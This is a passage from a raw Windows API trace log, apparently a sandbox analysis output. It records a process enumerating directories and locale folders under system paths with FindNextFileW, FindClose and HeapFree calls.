ftLastWriteTime.dwLowDateTime=0x6df4e8ff, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x63000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System.IdentityModel.dll", cAlternateFileName="")) returned 1 [0077.081] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435b018 | out: hHeap=0x6a0000) returned 1 [0077.081] FindNextFileW (in: hFindFile=0x4260080, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70a5faff, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70af849b, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70af849b, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1 [0077.082] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x436b020 | out: hHeap=0x6a0000) returned 1 [0077.082] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51ee72a2, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51ee72a2, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System.AddIn.Contract.dll", cAlternateFileName="")) returned 1 [0077.082] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435b018 | out: hHeap=0x6a0000) returned 1 [0077.083] FindNextFileW (in: hFindFile=0x4260080, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70a5faff, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70af849b, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70af849b, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0 [0077.083] FindClose (in: hFindFile=0x4260080 | out: hFindFile=0x4260080) returned 1 [0077.083] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0077.084] FindNextFileW (in: hFindFile=0x4260740, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709ed3a7, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70a5faff, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70a5faff, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Framework", cAlternateFileName="FRAMEW~1")) returned 0 [0077.084] FindClose (in: hFindFile=0x4260740 | out: hFindFile=0x4260740) returned 1 [0077.084] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4271060 | out: hHeap=0x6a0000) returned 1 [0077.084] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709ed3a7, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x709ed3a7, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x709ed3a7, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0077.084] FindClose (in: hFindFile=0x4260680 | out: hFindFile=0x4260680) returned 1 [0077.084] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x433b008 | out: hHeap=0x6a0000) returned 1 [0077.084] FindNextFileW (in: hFindFile=0x42603c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x59f2f4b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xecda67f6, ftLastAccessTime.dwHighDateTime=0x1d5359a, ftLastWriteTime.dwLowDateTime=0xecda67f6, ftLastWriteTime.dwHighDateTime=0x1d5359a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="rempl", cAlternateFileName="")) returned 1 [0077.085] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4271060 | out: hHeap=0x6a0000) returned 1 [0077.085] FindNextFileW (in: hFindFile=0x4260380, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76938800, ftCreationTime.dwHighDateTime=0x1d2e919, ftLastAccessTime.dwLowDateTime=0x59f55710, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x76938800, ftLastWriteTime.dwHighDateTime=0x1d2e919, nFileSizeHigh=0x0, nFileSizeLow=0xf2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="rempl.xml", cAlternateFileName="")) returned 1 [0077.086] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x433b008 | out: hHeap=0x6a0000) returned 1 [0077.086] FindNextFileW (in: hFindFile=0x42603c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xd2709a20, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xa747e827, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2709a20, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Uninstall Information", cAlternateFileName="UNINST~1")) returned 1 [0077.086] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x433b008 | out: hHeap=0x6a0000) returned 1 [0077.086] FindNextFileW (in: hFindFile=0x42603c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x4c509d45, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xece19101, ftLastAccessTime.dwHighDateTime=0x1d5359a, ftLastWriteTime.dwLowDateTime=0xece19101, ftLastWriteTime.dwHighDateTime=0x1d5359a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="UNP", cAlternateFileName="")) returned 1 [0077.088] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0077.088] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e32400a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa772ddc0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e32400a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0077.088] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0077.088] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa77fb761, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e34a1b4, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-ES", cAlternateFileName="")) returned 1 [0077.089] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0077.089] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa78433f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e34a1b4, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-ES-valencia", cAlternateFileName="CA-ES-~1")) returned 1 [0077.089] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0077.089] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa78fe34b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3703fd, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0077.089] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0077.089] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3703fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa795f898, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3703fd, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0077.090] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0077.090] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3703fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa79714a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e396633, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-AT", cAlternateFileName="")) returned 1 [0077.090] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0077.090] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa79bb5f0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e396633, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-CH", cAlternateFileName="")) returned 1 [0077.090] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0077.090] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7a12def, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3bc889, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0077.091] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0077.091] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7adca7e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3bc889, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0077.091] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0077.091] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7b18143, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3e2af7, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-AU", cAlternateFileName="")) returned 1 [0077.092] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0077.092] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7b914a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3e2af7, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-CA", cAlternateFileName="")) returned 1 [0077.092] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0077.092] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7b93b92, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e408d2a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-GB", cAlternateFileName="")) returned 1 [0077.092] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0077.092] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c098ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e408d2a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-HK", cAlternateFileName="")) returned 1 [0077.093] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0077.093] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c0b4b7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ID", cAlternateFileName="")) returned 1 [0077.093] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0077.093] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c6d3fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-IE", cAlternateFileName="")) returned 1 [0077.093] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0077.093] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7ca1328, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-IN", cAlternateFileName="")) returned 1 [0077.093] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0077.093] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d0e1e3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-MY", cAlternateFileName="")) returned 1 [0077.094] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0077.094] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d107f6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-NZ", cAlternateFileName="")) returned 1 [0077.094] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0077.094] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d8451a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-PH", cAlternateFileName="")) returned 1 [0077.094] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0077.094] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7de1d75, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e47b424, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0077.095] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0077.095] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7de3d39, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e47b424, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ZA", cAlternateFileName="")) returned 1 [0077.095] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0077.095] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7e82a38, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4a167a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-AR", cAlternateFileName="")) returned 1 [0077.095] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0077.095] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f2851c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4a167a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-CL", cAlternateFileName="")) returned 1 [0077.095] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0077.095] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f2a5d6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4a167a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-CO", cAlternateFileName="")) returned 1 [0077.096] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0077.096] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f8f938, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4c78e2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0077.096] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0077.096] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f926c1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4c78e2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-MX", cAlternateFileName="")) returned 1 [0077.096] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0077.096] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7fd9866, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4c78e2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-US", cAlternateFileName="")) returned 1 [0077.097] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0077.097] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4edb3a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa803fb1a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e93ff63, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-XL", cAlternateFileName="")) returned 1 [0077.097] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0077.097] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e9661e4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa80b9206, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ebc8896, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1 [0077.097] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0077.097] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ebc8896, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8130bd1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ec87470, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, 